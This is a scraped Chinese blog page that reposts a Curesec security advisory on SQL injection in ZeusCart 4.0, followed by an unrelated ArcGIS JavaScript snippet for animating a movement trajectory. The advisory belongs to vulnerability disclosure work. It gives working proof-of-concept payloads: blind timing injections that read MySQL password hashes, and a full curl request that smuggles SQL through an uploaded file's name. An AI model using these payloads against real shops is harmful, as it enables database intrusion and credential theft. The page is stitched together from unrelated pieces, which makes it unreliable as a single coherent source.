cp.wyk.la cart.php,ZeusCart 4.0 - Admin SQL注入漏洞

ZeusCart 4.0: SQL Injection

Security Advisory – Curesec Research Team

1. Introduction

Affected Product: ZeusCart 4.0

Fixed in: not fixed

Fixed Version Link: n/a

Vendor Contact: support@zeuscart.com

Vulnerability Type: SQL Injection

Remote Exploitable: Yes

Reported to vendor: 08/13/2015

Disclosed to public: 09/14/2015

Release mode: Full Disclosure

CVE: n/a

Credits Tim Coen of Curesec GmbH

2. Vulnerability Description

There are at least two SQL Injections in ZeusCart 4.0, one being a blind

injection which does not require credentials to be exploited, the other

being a standard injection in the admin area.

Because the prevention of SQL Injection depends to a large part on

applying simple filters on most input instead of using prepared

stamements, it is highly likely that there will be more SQL injection

vulnerabilities that are not covered here.

3. Timing based Blind SQL Injection

There is a blind timing based SQL injection into the maincatid argument.

An attacker does not need to be authenticated to exploit this.

Proof Of Concept

http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1

AND IF(SUBSTRING(version(), 1, 1)=5,BENCHMARK(500000000,version()),null)

-> true

http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1

AND IF(SUBSTRING(version(), 1, 1)=4,BENCHMARK(500000000,version()),null)

-> false

Please note that there is a bug when displaying featured items, so this

will display an error message or show a blank page. The timing

difference is still present, and can thus be exploited, but content

based exploitation is not possible because of this.

Also note that quotes may not be used in the payload, as quotes are

sanitized. It is still possible to extract data:

http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1

AND IF(ascii(substring((SELECT password from mysql.user limit

0,1),1,1))=42,BENCHMARK(500000000,version()),null)

-> true, password hash starts with *

Code

```

/classes/Core/CFeaturedItems.php:52

$maincatid = $_GET['maincatid'];

[...]

$sql = "SELECT DISTINCT a.category_name AS

Category,a.category_id AS maincatid, b.category_name AS SubCategory,

b.category_id as subcatid, b.category_image AS image FROM category_table

a INNER JOIN category_table b ON a.category_id = b.category_parent_id

WHERE b.category_parent_id=".$maincatid." AND b.category_status=1 ";

```

4. SQL Injection in Admin Area

All GET, POST, and REQUEST input is sanitized via filter_var($value,

FILTER_SANITIZE_STRING), which offers some protection against SQL

injection and XSS, but is not recommended as only defense.

For many queries, there is no further defense via escaping or prepared

statements. This makes all queries that get their data from different

sources than GET, POST, and REQUEST - such as FILES -, and all queries

containing unquoted parameters - such as seen in the blind injection

above - vulnerable.

Proof Of Concept

The steps to reproduce this issue are as following

Log in as admin

Create a new product, using a file name for ufile[0] like:

"image.jpgblla', description=(SELECT password FROM mysql.user limit

0,1), image='test

Visiting

http://localhost/zeuscart-master/admin/index.php?do=aprodetail&action=showprod&prodid=PRODUCTID

will give the result of the injected query.

Curl command to create a new product:

```

curl -i -s -k -X 'POST' \

-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)

Gecko/20100101 Firefox/40.0' -H 'DNT: 1' -H 'Content-Type:

multipart/form-data; boundary=--------2025782171' \

-b 'PHPSESSID=hsa73tae4bq4ev381430dbfif0' \

--data-binary $'----------2025782171\x0d\x0aContent-Disposition:

form-data; name=\"selcatgory[]\"\x0d\x0a\x0d\x0aChoose

Category\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:

form-data;

name=\"selcatgory[]\"\x0d\x0a\x0d\x0a25\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:

form-data;

name=\"product_title\"\x0d\x0a\x0d\x0aMYTESTPRODUCT2\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:

form-data;

name=\"sku\"\x0d\x0a\x0d\x0a77\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:

form-data;

name=\"txtweight\"\x0d\x0a\x0d\x0a77\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:

form-data;

name=\"status\"\x0d\x0a\x0d\x0aon\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:

form-data; name=\"ufile[0]\"; filename=\"image.jpgblla\',

description=(SELECT password FROM mysql.user limit 0,1),

image=\'test\"\x0d\x0aContent-Type:

image/jpeg\x0d\x0a\x0d\x0acontent\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:

form-data;

name=\"price\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:

form-data;

name=\"msrp_org\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:

form-data;

name=\"soh\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171--\x0d\x0a' \

'http://localhost/zeuscart-master/admin/index.php?do=productentry&action=insert'

```

Code

CProductEntry.php:313

```

$imgfilename= $_FILES['ufile']['name'][$i];

$imagefilename =

date("Y-m-d-His").$imgfilename ; // generate a new name

$image="images/products/". $imagefilename;

// updated into DB

[...]

if($i==0)

{

$imgType='main';

$update="UPDATE products_table set

image='$image',thumb_image='$thumb_image',large_image_path='$large_image' where

product_id='".$product_id."'";

$obj->updateQuery($update);

}

else

{

$imgType='sub';

}

if($_FILES['ufile']['name'][$i]!='')

{

$query_img="INSERT INTO

product_images_table(product_id,image_path,thumb_image_path,type,large_image_path)

VALUES('".$product_id."','$image','$thumb_image','$imgType','$large_image')";

$obj_img=new Bin_Query();

$obj_img->updateQuery($query_img);

}

}

```

5. Solution

This issue was not fixed by the vendor.

6. Report Timeline

08/13/2015 Informed Vendor about Issue (no reply)

09/07/2015 Reminded Vendor of release date (no reply)

09/14/2015 Disclosed to public

7. Blog Reference:

http://blog.curesec.com/article/blog/ZeusCart-40-SQL-Injection-56.html

loading-bars.svg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个基于 ArcGIS JavaScript API 4.x 实现移动轨迹动画的示例代码: ```javascript require([ "esri/Map", "esri/views/MapView", "esri/Graphic", "esri/geometry/Point", "esri/layers/GraphicsLayer", "esri/symbols/SimpleMarkerSymbol", "esri/symbols/SimpleLineSymbol", "esri/geometry/Polyline", "esri/geometry/support/webMercatorUtils", "dojo/domReady!" ], function(Map, MapView, Graphic, Point, GraphicsLayer, SimpleMarkerSymbol, SimpleLineSymbol, Polyline, webMercatorUtils) { // 定义起点和终点的经纬度坐标 var startPoint = [-122.414, 37.776]; var endPoint = [-122.426, 37.776]; // 创建地图和地图视图 var map = new Map({ basemap: "streets-navigation-vector" }); var view = new MapView({ container: "viewDiv", map: map, center: startPoint, zoom: 14 }); // 创建图形图层,并添加到地图中 var graphicsLayer = new GraphicsLayer(); map.add(graphicsLayer); // 创建起点和终点的点图形,并添加到图形图层中 var startSymbol = new SimpleMarkerSymbol({ color: "green", size: "8px" }); var endSymbol = new SimpleMarkerSymbol({ color: "red", size: "8px" }); var startPointGraphic = new Graphic({ geometry: new Point({ longitude: startPoint[0], latitude: startPoint[1] }), symbol: startSymbol }); var endPointGraphic = new Graphic({ geometry: new Point({ longitude: endPoint[0], latitude: endPoint[1] }), symbol: endSymbol }); graphicsLayer.addMany([startPointGraphic, endPointGraphic]); // 创建轨迹线的符号,并添加到图形图层中 var lineSymbol = new SimpleLineSymbol({ color: "blue", width: 4 }); var polylineGraphic = new Graphic({ geometry: new Polyline(), symbol: lineSymbol }); graphicsLayer.add(polylineGraphic); // 计算移动轨迹的点集合 var points = []; for (var i = 0; i <= 100; i++) { var lon = startPoint[0] + (endPoint[0] - startPoint[0]) * i / 100; var lat = startPoint[1] + (endPoint[1] - startPoint[1]) * i / 100; points.push([lon, lat]); } // 定义当前移动到的点的索引 var currentIndex = 0; // 定义移动函数,每隔一段时间移动到下一个点 function move() { polylineGraphic.geometry.addPath(points.slice(currentIndex, currentIndex + 2)); currentIndex += 1; if (currentIndex < points.length - 1) { setTimeout(move, 50); } } // 将经纬度坐标转换为 WebMercator 坐标系 points = points.map(function(point) { return webMercatorUtils.geographicToWebMercator(new Point({ longitude: point[0], latitude: point[1] })); }); // 开始移动 move(); }); ``` 在这个示例代码中,我们首先创建了一个地图和地图视图,并在地图上添加了一个图形图层。然后,我们创建了起点和终点的点图形,并将它们添加到图形图层中。接着,我们创建了轨迹线的符号,并将其添加到图形图层中。接下来,我们计算了移动轨迹的点集合,并定义了一个移动函数,每隔一段时间移动到下一个点。最后,我们将经纬度坐标转换为 WebMercator 坐标系,并开始移动。 需要注意的是,该示例代码中的移动函数仅是一个简单的实现,实际应用中可能需要更加复杂的实现,例如根据实时数据更新移动轨迹等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值